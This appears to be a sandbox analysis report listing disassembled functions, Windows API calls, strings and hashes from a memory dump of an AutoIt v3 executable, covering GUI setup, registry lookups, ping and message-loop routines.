String ID: @COM_EVENTOBJ$@GUI_CTRLHANDLE$@GUI_CTRLID$@GUI_WINHANDLE$@TRAY_ID$CALL
API String ID: 1792118007-922114024
Opcode ID: 24c5543f7ac7a9602b82a9eb27cfc41129c18487dd318935e9ac0dfff7c72f76
Instruction ID: de5cd7774322bddb48d2978a54e79bbc2da5cd6f717b68992da2ab259a39ff3a
Opcode Fuzzy Hash: 24c5543f7ac7a9602b82a9eb27cfc41129c18487dd318935e9ac0dfff7c72f76
Instruction Fuzzy Hash: F8C2C070608345DFD728DF24C884BAABBE4FF84314F14491DF68A972A1CB75E984EB52

Function 00EF33E6 Relevance: 19.3, APIs: 7, Strings: 4, Instructions: 72
windowregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSysColorBrush.USER32(0000000F), ref: 00EF3444
RegisterClassExW.USER32(00000030), ref: 00EF346E
RegisterWindowMessageW.USER32(TaskbarCreated), ref: 00EF347F
InitCommonControlsEx.COMCTL32(?), ref: 00EF349C
ImageList_Create.COMCTL32(00000010,00000010,00000021,00000001,00000001), ref: 00EF34AC
LoadIconW.USER32(000000A9), ref: 00EF34C2
ImageList_ReplaceIcon.COMCTL32(000000FF,00000000), ref: 00EF34D1

Strings

0, xrefs: 00EF3426
TaskbarCreated, xrefs: 00EF3474
+, xrefs: 00EF342D
AutoIt v3 GUI, xrefs: 00EF3460

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: IconImageList_Register$BrushClassColorCommonControlsCreateInitLoadMessageReplaceWindow
String ID: +$0$AutoIt v3 GUI$TaskbarCreated
API String ID: 2914291525-1005189915
Opcode ID: 5d712fae09120c4cc09ee938b4dec018bab94ec8a2457919e0eda3513cd0e851
Instruction ID: a1fcaac82b415ccbadc766610242b14746c38cd66b7a6f5472e4b1bc3cf93d31
Opcode Fuzzy Hash: 5d712fae09120c4cc09ee938b4dec018bab94ec8a2457919e0eda3513cd0e851
Instruction Fuzzy Hash: E531467184430DAFDB809FA4EC89ADDBBF0FB09310F20425AE580A62A0D7B95545EF51

Function 00EF3411 Relevance: 19.3, APIs: 7, Strings: 4, Instructions: 54
windowregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSysColorBrush.USER32(0000000F), ref: 00EF3444
RegisterClassExW.USER32(00000030), ref: 00EF346E
RegisterWindowMessageW.USER32(TaskbarCreated), ref: 00EF347F
InitCommonControlsEx.COMCTL32(?), ref: 00EF349C
ImageList_Create.COMCTL32(00000010,00000010,00000021,00000001,00000001), ref: 00EF34AC
LoadIconW.USER32(000000A9), ref: 00EF34C2
ImageList_ReplaceIcon.COMCTL32(000000FF,00000000), ref: 00EF34D1

Strings

0, xrefs: 00EF3426
TaskbarCreated, xrefs: 00EF3474
+, xrefs: 00EF342D
AutoIt v3 GUI, xrefs: 00EF3460

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: IconImageList_Register$BrushClassColorCommonControlsCreateInitLoadMessageReplaceWindow
String ID: +$0$AutoIt v3 GUI$TaskbarCreated
API String ID: 2914291525-1005189915
Opcode ID: 21b2845fff244e721afd452ce31fa9cb5729fa616a2c5e71060fdb387fd251ed
Instruction ID: 8dcd513499c38a449474d96ceb8a4357d883e1602da1502c5a70721bcf80b419
Opcode Fuzzy Hash: 21b2845fff244e721afd452ce31fa9cb5729fa616a2c5e71060fdb387fd251ed
Instruction Fuzzy Hash: FA21E5B190430DAFDB40AFA4EC89BDDBBF4FB08700F50421AF515A62A0DBB15544EF91

Function 00F02FC5 Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 201
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00F100CF: GetModuleFileNameW.KERNEL32(00000000,?,00007FFF,?,?,00F03094), ref: 00F100ED

Part of subcall function 00F108C1: GetFullPathNameW.KERNEL32(?,00007FFF,?,?,?,?,00F0309F), ref: 00F108E3

RegOpenKeyExW.KERNEL32(80000001,Software\AutoIt v3\AutoIt,00000000,00000001,?,?,\Include\), ref: 00F030E2
RegQueryValueExW.ADVAPI32(?,Include,00000000,00000000,00000000,?), ref: 00F401BA
RegQueryValueExW.ADVAPI32(?,Include,00000000,00000000,?,?,00000000), ref: 00F401FB
RegCloseKey.ADVAPI32(?), ref: 00F40239
_wcscat.LIBCMT ref: 00F40292

Strings

Software\AutoIt v3\AutoIt, xrefs: 00F030D8
\Include\, xrefs: 00F0309F
Include, xrefs: 00F401B1, 00F401F2
\, xrefs: 00F402B5

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: NameQueryValue$CloseFileFullModuleOpenPath_wcscat
String ID: Include$Software\AutoIt v3\AutoIt$\$\Include\
API String ID: 2673923337-2727554177
Opcode ID: 9fcd86cd92d912508312cf4c8be5f76887bfb3757398062cc30254216e4b9774
Instruction ID: e34f8c91687ded1d495f806e77ae3790a5954699d03a1e8d13ba98aaa0410678
Opcode Fuzzy Hash: 9fcd86cd92d912508312cf4c8be5f76887bfb3757398062cc30254216e4b9774
Instruction Fuzzy Hash: 447148715093059EC714EF65EC859ABBBACFF88390B40062EF545822A1EF70994AEF52

Function 00F0514C Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 71
windowregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSysColorBrush.USER32(0000000F), ref: 00F05156
LoadCursorW.USER32(00000000,00007F00), ref: 00F05165
LoadIconW.USER32(00000063), ref: 00F0517C
LoadIconW.USER32(000000A4), ref: 00F0518E
LoadIconW.USER32(000000A2), ref: 00F051A0
LoadImageW.USER32(00000063,00000001,00000010,00000010,00000000), ref: 00F051C6
RegisterClassExW.USER32(?), ref: 00F0521C

Part of subcall function 00EF3411: GetSysColorBrush.USER32(0000000F), ref: 00EF3444
Part of subcall function 00EF3411: RegisterClassExW.USER32(00000030), ref: 00EF346E
Part of subcall function 00EF3411: RegisterWindowMessageW.USER32(TaskbarCreated), ref: 00EF347F
Part of subcall function 00EF3411: InitCommonControlsEx.COMCTL32(?), ref: 00EF349C
Part of subcall function 00EF3411: ImageList_Create.COMCTL32(00000010,00000010,00000021,00000001,00000001), ref: 00EF34AC
Part of subcall function 00EF3411: LoadIconW.USER32(000000A9), ref: 00EF34C2
Part of subcall function 00EF3411: ImageList_ReplaceIcon.COMCTL32(000000FF,00000000), ref: 00EF34D1

Strings

#, xrefs: 00F05201
0, xrefs: 00F051FA
AutoIt v3, xrefs: 00F0520B

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: Load$Icon$ImageRegister$BrushClassColorList_$CommonControlsCreateCursorInitMessageReplaceWindow
String ID: #$0$AutoIt v3
API String ID: 423443420-4155596026
Opcode ID: 1aedb550e6a512cd77abfe58d47f91f70efb11bcc8b39d8f0c81807d6ade43b2
Instruction ID: 0f199b0ec45ad6fbc6fbb966b652be1e3e666892da6af431bb02687cbfef02c2
Opcode Fuzzy Hash: 1aedb550e6a512cd77abfe58d47f91f70efb11bcc8b39d8f0c81807d6ade43b2
Instruction Fuzzy Hash: A6214B71D0430DAFEB11AFA4ED89B9D7BB4FB48710F000259F604A62A0D7B65954EF84

Function 00F65E1D Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 163
networkfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WSAStartup.WS2_32(00000101,?), ref: 00F65E7E
inet_addr.WSOCK32(?,?,?), ref: 00F65EC3
gethostbyname.WS2_32(?), ref: 00F65ECF
IcmpCreateFile.IPHLPAPI ref: 00F65EDD
IcmpSendEcho.IPHLPAPI(?,?,?,00000005,00000000,?,00000029,00000FA0), ref: 00F65F4D
IcmpSendEcho.IPHLPAPI(00000000,00000000,?,00000005,00000000,?,00000029,00000FA0), ref: 00F65F63
IcmpCloseHandle.IPHLPAPI(00000000), ref: 00F65FD8
WSACleanup.WSOCK32 ref: 00F65FDE

Strings

Ping, xrefs: 00F65F01

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: Icmp$EchoSend$CleanupCloseCreateFileHandleStartupgethostbynameinet_addr
String ID: Ping
API String ID: 1028309954-2246546115
Opcode ID: aa065a74b5e7cbd5026cff165bbb7674445aa2840130057f81e650da6aeeb725
Instruction ID: 5f6151ba8d6f13d15eadcf08d6a891449a47a868d28e69ff117b84f8790c9c48
Opcode Fuzzy Hash: aa065a74b5e7cbd5026cff165bbb7674445aa2840130057f81e650da6aeeb725
Instruction Fuzzy Hash: EB5150716046019FD720EF24CD49B6AB7E4EF48B20F144529FA96EB2E1DB74E904EB42

Function 00F04D83 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 151
windowtimeregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DefWindowProcW.USER32(?,?,?,?), ref: 00F04E22
KillTimer.USER32(?,00000001), ref: 00F04E4C
SetTimer.USER32(?,00000001,000002EE,00000000), ref: 00F04E6F
RegisterWindowMessageW.USER32(TaskbarCreated), ref: 00F04E7A
CreatePopupMenu.USER32 ref: 00F04E8E
PostQuitMessage.USER32(00000000), ref: 00F04EAF

Strings

TaskbarCreated, xrefs: 00F04E75

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: MessageTimerWindow$CreateKillMenuPopupPostProcQuitRegister
String ID: TaskbarCreated
API String ID: 129472671-2362178303
Opcode ID: 63fe0e3acd327960d1ba0cf3ee1054aff0292673ac87dbe7c6eed491fe389ad0
Instruction ID: 685716023266ccc4fb91e162828dbd055932084aa08a0aa7ae2400c330120c4a
Opcode Fuzzy Hash: 63fe0e3acd327960d1ba0cf3ee1054aff0292673ac87dbe7c6eed491fe389ad0
Instruction Fuzzy Hash: 3441F5B260820EABDB556F24DC49BBE7A95FB80311F140625FB01922E2DE75BC50BF61

Function 00F056F8 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadStringW.USER32(00000065,?,0000007F,00000104), ref: 00F40C5B

Part of subcall function 00F01821: _memmove.LIBCMT ref: 00F0185B

_memset.LIBCMT ref: 00F05787
_wcscpy.LIBCMT ref: 00F057DB
Shell_NotifyIconW.SHELL32(00000001,000003A8), ref: 00F057EB
__swprintf.LIBCMT ref: 00F40CD1

Strings

AutoIt - , xrefs: 00F05760
Line %d: , xrefs: 00F40CCB

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: IconLoadNotifyShell_String__swprintf_memmove_memset_wcscpy
String ID: Line %d: $AutoIt -
API String ID: 230667853-4094128768
Opcode ID: c6376e3c54ef3c8e9bbb443a43ea1fcdb43d0abd309ddb5abb8d340ac2c91cf7
Instruction ID: 933a36bf5bcc6edcf19338100530c8a978dde6f06c58b4074833296954e0a1bc
Opcode Fuzzy Hash: c6376e3c54ef3c8e9bbb443a43ea1fcdb43d0abd309ddb5abb8d340ac2c91cf7
Instruction Fuzzy Hash: 91419171508309AAD321EB60DC85BDF77DCAF84360F004A1AF585921E1EF78E648FB96

Function 00F050DB Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 44
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateWindowExW.USER32(00000000,AutoIt v3,AutoIt v3,00CF0000,80000000,80000000,0000012C,00000064,00000000,00000000,00000000,00000001), ref: 00F05109
CreateWindowExW.USER32(00000000,edit,00000000,50B008C4,00000000,00000000,00000000,00000000,00000000,00000001,00000000), ref: 00F0512A
ShowWindow.USER32(00000000), ref: 00F0513E
ShowWindow.USER32(00000000), ref: 00F05147

Strings

edit, xrefs: 00F05124
AutoIt v3, xrefs: 00F05101, 00F05106, 00F05107

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: Window$CreateShow
String ID: AutoIt v3$edit
API String ID: 1584632944-3779509399
Opcode ID: ce4f4f96052805523f3eaabfc89233cd19e804a08c7a07133d53109ec09a657f
Instruction ID: 3cb1eab77878b76e1aa7bd98c9a86ab96f92f5e5c78bfd118a3bd7bac561163b
Opcode Fuzzy Hash: ce4f4f96052805523f3eaabfc89233cd19e804a08c7a07133d53109ec09a657f
Instruction Fuzzy Hash: 07F0DA715453987EEB712727AC88E773E7DD7C7F50F00021AB900A22B1CA651851EEB0

Function 00F59B16 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 155
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00F04A8C: _fseek.LIBCMT ref: 00F04AA4

Part of subcall function 00F59CF1: _wcscmp.LIBCMT ref: 00F59DE1
Part of subcall function 00F59CF1: _wcscmp.LIBCMT ref: 00F59DF4

_free.LIBCMT ref: 00F59C5F
_free.LIBCMT ref: 00F59C66
_free.LIBCMT ref: 00F59CD1

Part of subcall function 00F12F85: RtlFreeHeap.NTDLL(00000000,00000000,?,00F19C54,00000000,00F18D5D,00F159C3), ref: 00F12F99
Part of subcall function 00F12F85: GetLastError.KERNEL32(00000000,?,00F19C54,00000000,00F18D5D,00F159C3), ref: 00F12FAB

_free.LIBCMT ref: 00F59CD9

Strings

>>>AUTOIT SCRIPT<<<, xrefs: 00F59B8F

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: _free$_wcscmp$ErrorFreeHeapLast_fseek
String ID: >>>AUTOIT SCRIPT<<<
API String ID: 1552873950-2806939583
Opcode ID: debd864d0832de9cd9e76fbd25f8ca32b63088750f9d48d753cdc5132f29438d
Instruction ID: 9f6a2fc532cc9e4435fba6c37d7d541030a81ea30dd9b143858609dd00e49e39
Opcode Fuzzy Hash: debd864d0832de9cd9e76fbd25f8ca32b63088750f9d48d753cdc5132f29438d
Instruction Fuzzy Hash: 41514CB1E04219EFDF24DF64DC45AAEBBB9FF48304F00049EB649A3281DB755A849F58

Function 00F1563D Relevance: 7.7, APIs: 5, Instructions: 163
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_memset.LIBCMT ref: 00F1569B
_memcpy_s.LIBCMT ref: 00F1570D
__read_nolock.LIBCMT ref: 00F1576B
__filbuf.LIBCMT ref: 00F1578E
_memset.LIBCMT ref: 00F157D2

Part of subcall function 00F18D58: __getptd_noexit.LIBCMT ref: 00F18D58

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: _memset$__filbuf__getptd_noexit__read_nolock_memcpy_s
String ID:
API String ID: 1559183368-0
Opcode ID: 00b866a24d890f7fe79ae922164f866efed2fee1f991de586a4896b02612db73
Instruction ID: b2cbe457308f6b00fa9115ba835eae9671d101e1260bf33628769bc1d0d10794
Opcode Fuzzy Hash: 00b866a24d890f7fe79ae922164f866efed2fee1f991de586a4896b02612db73
Instruction Fuzzy Hash: 4351C531E00B09DBDB249F69D8816EE77A5AF80B30F248729F835962D0D7749DD0BB80

Function 00EF52B0 Relevance: 7.6, APIs: 5, Instructions: 99
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00EF52E6
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00EF534A
TranslateMessage.USER32(?), ref: 00EF5356
DispatchMessageW.USER32(?), ref: 00EF5360

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: Message$Peek$DispatchTranslate
String ID:
API String ID: 1795658109-0
Opcode ID: 0109c6da648520733265fffba680f6b13140a86951e39307336f999a370f3003
Instruction ID: 0fcdb3bbbf7b665136250208741811a17b6294f01d4765b4667f5f76b1d9e17f
Opcode Fuzzy Hash: 0109c6da648520733265fffba680f6b13140a86951e39307336f999a370f3003
Instruction Fuzzy Hash: 2531683290870E9BEB309B68DC84FF977F89B61308F201259E312A71E0D7B59884FB11

Function 00EFAAAA Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 168comCOMMON

Download Yara Rule

APIs

Part of subcall function 00F107BB: MapVirtualKeyW.USER32(0000005B,00000000), ref: 00F107EC
Part of subcall function 00F107BB: MapVirtualKeyW.USER32(00000010,00000000), ref: 00F107F4
Part of subcall function 00F107BB: MapVirtualKeyW.USER32(000000A0,00000000), ref: 00F107FF
Part of subcall function 00F107BB: MapVirtualKeyW.USER32(000000A1,00000000), ref: 00F1080A
Part of subcall function 00F107BB: MapVirtualKeyW.USER32(00000011,00000000), ref: 00F10812
Part of subcall function 00F107BB: MapVirtualKeyW.USER32(00000012,00000000), ref: 00F1081A

Part of subcall function 00F0FF4C: RegisterWindowMessageW.USER32(WM_GETCONTROLNAME,?,00EFAC6B), ref: 00F0FFA7

GetStdHandle.KERNEL32(000000F6,00000000,00000000), ref: 00EFAD08
OleInitialize.OLE32(00000000), ref: 00EFAD85
CloseHandle.KERNEL32(00000000), ref: 00F32F56

Strings

h, xrefs: 00EFAB1C

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: Virtual$Handle$CloseInitializeMessageRegisterWindow
String ID: h
API String ID: 1986988660-3415971826
Opcode ID: 0720e7b7a83f95712fb8a06d343afdcfb7b2fc21f093e127345f8d1e739a5dbb
Instruction ID: dd29163c76d3cf323ffdc5b428ce0646ec103e2bc3114985e5eec7d8427a1137
Opcode Fuzzy Hash: 0720e7b7a83f95712fb8a06d343afdcfb7b2fc21f093e127345f8d1e739a5dbb
Instruction Fuzzy Hash: 4B8199B0909348CEC394FF2AADC56967FE5FBC8306724866AD419D72B2EB345404BF51

Function 00EF1284 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 59registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.KERNEL32(80000001,Control Panel\Mouse,00000000,00000001,00000000,?,?,80000001,80000001,?,00EF1275,SwapMouseButtons,00000004,?), ref: 00EF12A8
RegQueryValueExW.KERNEL32(00000000,00000000,00000000,00000000,?,?,?,?,?,80000001,80000001,?,00EF1275,SwapMouseButtons,00000004,?), ref: 00EF12C9
RegCloseKey.KERNEL32(00000000,?,?,?,80000001,80000001,?,00EF1275,SwapMouseButtons,00000004,?), ref: 00EF12EB

Strings

Control Panel\Mouse, xrefs: 00EF12A6

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: CloseOpenQueryValue
String ID: Control Panel\Mouse
API String ID: 3677997916-824357125
Opcode ID: 70c780ed93e27db26bd5ae89cf6cafcac040d17b92bc98ccb8951f952003ccf3
Instruction ID: 48e99972305fd5819fa811cd3b01793cfaf10a9f687c63ae98aa5c2ac1df3e41
Opcode Fuzzy Hash: 70c780ed93e27db26bd5ae89cf6cafcac040d17b92bc98ccb8951f952003ccf3
Instruction Fuzzy Hash: 5B11487161520CFFEB208FA4DC84AFEBBA8EF45744F105599E905E7120D6319E44A7A0

Function 00F53F1D Relevance: 6.1, APIs: 4, Instructions: 78COMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNEL32(?,00F82C4C), ref: 00F53F57
GetLastError.KERNEL32 ref: 00F53F66
CreateDirectoryW.KERNEL32(?,00000000), ref: 00F53F75
CreateDirectoryW.KERNEL32(?,00000000,00000000,000000FF,00F82C4C), ref: 00F53FD2

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: CreateDirectory$AttributesErrorFileLast
String ID:
API String ID: 2267087916-0
Opcode ID: 74b2cb8dc0556bc7b5094921caea4e9dd9684181ec98deead8efcf966db29822
Instruction ID: c09a346e538cf9e76484a5fbbca5569a704b4258a0901074fb752608d6cb271e
Opcode Fuzzy Hash: 74b2cb8dc0556bc7b5094921caea4e9dd9684181ec98deead8efcf966db29822
Instruction Fuzzy Hash: 362171709082019FC714DF2CC8858AEB7F4BE553A5F104A1DF9A5C72A1DB31DA4AEB92

